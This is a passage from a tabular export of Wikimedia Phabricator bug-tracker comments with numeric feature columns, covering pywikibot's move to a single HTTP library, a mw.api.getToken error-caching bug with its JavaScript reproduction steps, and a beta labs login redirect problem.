[[https://gerrit.wikimedia.org/r/588145]]",,,1586685111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,249,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.736842105263158,0.8157894736842105,"Change 588145 had a related patch set uploaded (by Xqt; owner: Xqt):
[pywikibot/core@master] [bugfix] Re-enable script test for imageharvest.py

[[GERRIT_URL]]"
1432542,use one library for all http requests,"I would focus on this task to avoid issues with urllib, urllib2, urllib3, httplib etc., which might be a cause for many other bugs we encounter",,,1580154034,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,238,True,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,13.0,19.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.806451612903226,0.9032258064516129,"I would focus on this task to avoid issues with urllib, urllib2, urllib3, httplib etc., which might be a cause for many other bugs we encounter"
1432541,use one library for all http requests,"I would focus on this task to avoid issues with urllib, urllib2 (which in many cases only imports urllib) and urllib3, httplib etc., which might be a cause for many other bugs we encounter",,,1580154016,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,238,True,5.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,12.0,15.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.875,0.875,"I would focus on this task to avoid issues with urllib, urllib2 (which in many cases only imports urllib) and urllib3, httplib etc., which might be a cause for many other bugs we encounter"
1432536,use one library for all http requests,"I would focus on this task to avoid issues with urllib, urllib2 (which in many cases only imports urllib) and urllib3, which might be a cause for many other bugs we encounter",,,1580153344,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,238,True,6.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,14.0,8.0,0.0,0.0,0.0,6.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9722222222222223,0.8888888888888888,"I would focus on this task to avoid issues with urllib, urllib2 (which in many cases only imports urllib) and urllib3, which might be a cause for many other bugs we encounter"
991931,use one library for all http requests,"Two new possible GCI tasks T184360 & T184361 .  Need more analysis done, and expanding the description to ensure that the work is of a high quality.",,,1515298250,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,True,,,131,True,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,17.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,4.066666666666666,0.9333333333333333,"Two new possible GCI tasks T184360 & T184361 .  Need more analysis done, and expanding the description to ensure that the work is of a high quality."
640764,use one library for all http requests,"Change 281673 had a related patch set uploaded (by Xqt):
[bugfix] bugfixes and improvements for checkimages

[[https://gerrit.wikimedia.org/r/281673]]
",,,1459870323,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,39,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,3.9285714285714284,0.8214285714285714,"Change 281673 had a related patch set uploaded (by Xqt):
[bugfix] bugfixes and improvements for checkimages

[[GERRIT_URL]]
"
639791,use one library for all http requests,"Change 281131 had a related patch set uploaded (by Xqt):
[bugfix] bugfixes and improvements for checkimages

[[https://gerrit.wikimedia.org/r/281131]]
",,,1459685297,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,3,False,,,39,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,3.9285714285714284,0.8214285714285714,"Change 281131 had a related patch set uploaded (by Xqt):
[bugfix] bugfixes and improvements for checkimages

[[GERRIT_URL]]
"
468041,use one library for all http requests,"Change 208479 merged by jenkins-bot:
[IMPROV] Replace openurl with http.fetch

[[https://gerrit.wikimedia.org/r/208479]]",,,1433294967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.8636363636363638,0.8181818181818182,"Change 208479 merged by jenkins-bot:
[IMPROV] Replace openurl with http.fetch

[[GERRIT_URL]]"
467687,use one library for all http requests,"Change 208479 had a related patch set uploaded (by XZise):
[IMPROV] Replace openurl with http.fetch

[[https://gerrit.wikimedia.org/r/208479]]
",,,1433268078,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,3.814814814814815,0.8148148148148148,"Change 208479 had a related patch set uploaded (by XZise):
[IMPROV] Replace openurl with http.fetch

[[GERRIT_URL]]
"
440979,use one library for all http requests,"Another httplib2 fork, which says it provides streaming: https://github.com/fffonion/httplib2-plus

Also, we have a patch to switch to python-requests: https://gerrit.wikimedia.org/r/#/c/189821/",,,1428576733,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.8461538461538461,"Another httplib2 fork, which says it provides streaming: URL

Also, we have a patch to switch to python-requests: URL"
297346,use one library for all http requests,"https://github.com/ross/python-asynchttp might be a good solution, but it doesnt appear to be very active",,,1415501252,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4375,0.9375,"URL might be a good solution, but it doesnt appear to be very active"
297344,use one library for all http requests,"version.py now uses httplib2.

In addition to the list above, generate_family_file.py also uses urllib2",,,1412594473,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.352941176470588,0.9411764705882353,"version.py now uses httplib2.

In addition to the list above, generate_family_file.py also uses urllib2"
297339,use one library for all http requests,"Change 153300 merged by jenkins-bot:
Replace httplib and urllib with httplib2

https://gerrit.wikimedia.org/r/153300",,,1409862849,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,1.0,"Change 153300 merged by jenkins-bot:
Replace httplib and urllib with httplib2

GERRIT_URL"
297334,use one library for all http requests,"Change 152200 merged by jenkins-bot:
User-agent graceful degradation

https://gerrit.wikimedia.org/r/152200",,,1409778667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,0.9375,"Change 152200 merged by jenkins-bot:
User-agent graceful degradation

GERRIT_URL"
297330,use one library for all http requests,"Change 153300 had a related patch set uploaded by John Vandenberg:
Replace httplib and urllib with httplib2

https://gerrit.wikimedia.org/r/153300",,,1407673182,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.9523809523809526,1.0,"Change 153300 had a related patch set uploaded by John Vandenberg:
Replace httplib and urllib with httplib2

GERRIT_URL"
297326,use one library for all http requests,"Change 152200 had a related patch set uploaded by John Vandenberg:
HTTP requests with user-agent without version

https://gerrit.wikimedia.org/r/152200",,,1407371588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.739130434782608,1.0,"Change 152200 had a related patch set uploaded by John Vandenberg:
HTTP requests with user-agent without version

GERRIT_URL"
297318,use one library for all http requests,"site.py & weblib.py use 'import urllib', but for urlencode

urllib:
pywikibot/page.py:1841:        f = urllib.urlopen(self.fileUrl())
pywikibot/version.py:199:    buf = urllib.urlopen(url).readlines()

scripts/upload.py
scripts/flickrripper.py
scripts/checkimages.py
scripts/weblinkchecker.py
scripts/imagerecat.py
scripts/maintenance/wikimedia_sites.py
scripts/data_ingestion.py

urllib2:
scripts/reflinks.py

httplib (not httplib2):
pywikibot/version.py:123:    conn = httplib.HTTPSConnection('github.com')

scripts/weblinkchecker.py
scripts/reflinks.py",,,1407359276,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-48,True,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.0,0.0,0.5,9.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.254901960784314,0.5588235294117647,"site.py & weblib.py use 'import urllib', but for urlencode

urllib:
pywikibot/page.py:1841:        f = urllib.urlopen(self.fileUrl())
pywikibot/version.py:199:    buf = urllib.urlopen(url).readlines()

scripts/upload.py
scripts/flickrripper.py
scripts/checkimages.py
scripts/weblinkchecker.py
scripts/imagerecat.py
scripts/maintenance/wikimedia_sites.py
scripts/data_ingestion.py

urllib2:
scripts/reflinks.py

httplib (not httplib2):
pywikibot/version.py:123:    conn = httplib.HTTPSConnection('github.com')

scripts/weblinkchecker.py
scripts/reflinks.py"
297309,use one library for all http requests,"The may be issues with using httplib2 for large downloads, like are possible in upload.py.

https://github.com/jcgregorio/httplib2/issues/224

A fork has been created for that, and distributed caching.

https://github.com/madlag/streaming_httplib2",,,1404182008,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-op3qd6kt6gjyskvy6mug,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.029411764705882,0.8235294117647058,"The may be issues with using httplib2 for large downloads, like are possible in upload.py.

URL

A fork has been created for that, and distributed caching.

URL"
67268,mw.api.getToken should not cache HTTP errors,"Temporary HTTP errors should not cached by mw.api.getToken.

Steps to reproduce
* Load MediaWiki
* Switch browser to offline mode
* Enter
var api = new mw.Api();
api.getToken( 'foo' )
.done( function ( data ) {
	console.log( 'done', data );
} )
.fail( function ( error ) {
	console.log( 'fail', error );
} );
>> fail http
* Switch browser to online mode
* Enter
api.getToken( 'foo' )
.done( function ( data ) {
	console.log( 'done', data );
} )
.fail( function ( error ) {
	console.log( 'fail', error );
} );
>> fail fail
expected result
>> fail token-missing

--------------------------
**Version**: 1.24rc
**Severity**: normal",High,80.0,1400002080,1400498917.0,PHID-USER-3dmql6z7s5lnn5lu2vs3,False,,False,PHID-TASK-emcnqud7a35q3i3vpn2n,task_description,resolved,True,c3,1,False,False,True,-60,True,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,2.0,4.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0170454545454546,0.46826018808777425,"Temporary HTTP errors should not cached by mw.api.getToken.

Steps to reproduce
* Load MediaWiki
* Switch browser to offline mode
* Enter
var api = new mw.Api();
api.getToken( 'foo' )
.done( function ( data ) {
	console.log( 'done', data );
} )
.fail( function ( error ) {
	console.log( 'fail', error );
} );
QUOTE
* Switch browser to online mode
* Enter
api.getToken( 'foo' )
.done( function ( data ) {
	console.log( 'done', data );
} )
.fail( function ( error ) {
	console.log( 'fail', error );
} );
QUOTE
expected result
QUOTE

--------------------------
**Version**: 1.24rc
**Severity**: normal"
307984,mw.api.getToken should not cache HTTP errors,"Change 133106 merged by jenkins-bot:
mediawiki.api: Do not cache errors in getToken()

https://gerrit.wikimedia.org/r/133106",,,1400499119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-emcnqud7a35q3i3vpn2n,task_subcomment,,True,c3,1,False,,,-59,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.142857142857143,0.9523809523809523,"Change 133106 merged by jenkins-bot:
mediawiki.api: Do not cache errors in getToken()

GERRIT_URL"
307980,mw.api.getToken should not cache HTTP errors,"Change 133106 had a related patch set uploaded by Gerrit Patch Uploader:
mediawiki.api: Do not cache errors in getToken()

https://gerrit.wikimedia.org/r/133106",,,1400006679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-emcnqud7a35q3i3vpn2n,task_subcomment,,True,c3,1,False,,,-60,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.461538461538462,0.9615384615384616,"Change 133106 had a related patch set uploaded by Gerrit Patch Uploader:
mediawiki.api: Do not cache errors in getToken()

GERRIT_URL"
65780,login broken on beta labs,"On http://en.wikipedia.beta.wmflabs.org/ attempt to login

Upon logging in, the resulting URL contains ""$channel"" instead of ""beta"" and browser shows no page

result: 
http://en.wikipedia.%24channel.wmflabs.org/wiki/Special:CentralLogin/complete?token=fba1899f0e1715c2a585874c3c47812d

http://en.wikipedia.$channel.wmflabs.org is also seen. 

Login seems to succeed.

This prevents any automated test that logs in from running.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1397148600,1397157573.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-eax3ugtl2ktjq2bzdhh5,task_description,resolved,True,c3,1,False,False,True,-64,True,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,13.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,3.7066666666666666,0.6533333333333333,"On URL attempt to login

Upon logging in, the resulting URL contains ""$channel"" instead of ""beta"" and browser shows no page

result: 
URL

URL is also seen. 

Login seems to succeed.

This prevents any automated test that logs in from running.

--------------------------
**Version**: unspecified
**Severity**: major"
299540,login broken on beta labs,"When siteParamsCallback is called for 'enwiki', it doesn't know whether the configuration values it should return are the HHVM ones or not, so this workaround will have the effect of redirecting users on beta-hhvm to beta on login. So I'll have to figure out a better solution at some point. For now, though, this does unbreak testing on beta, which doesn't care / know about 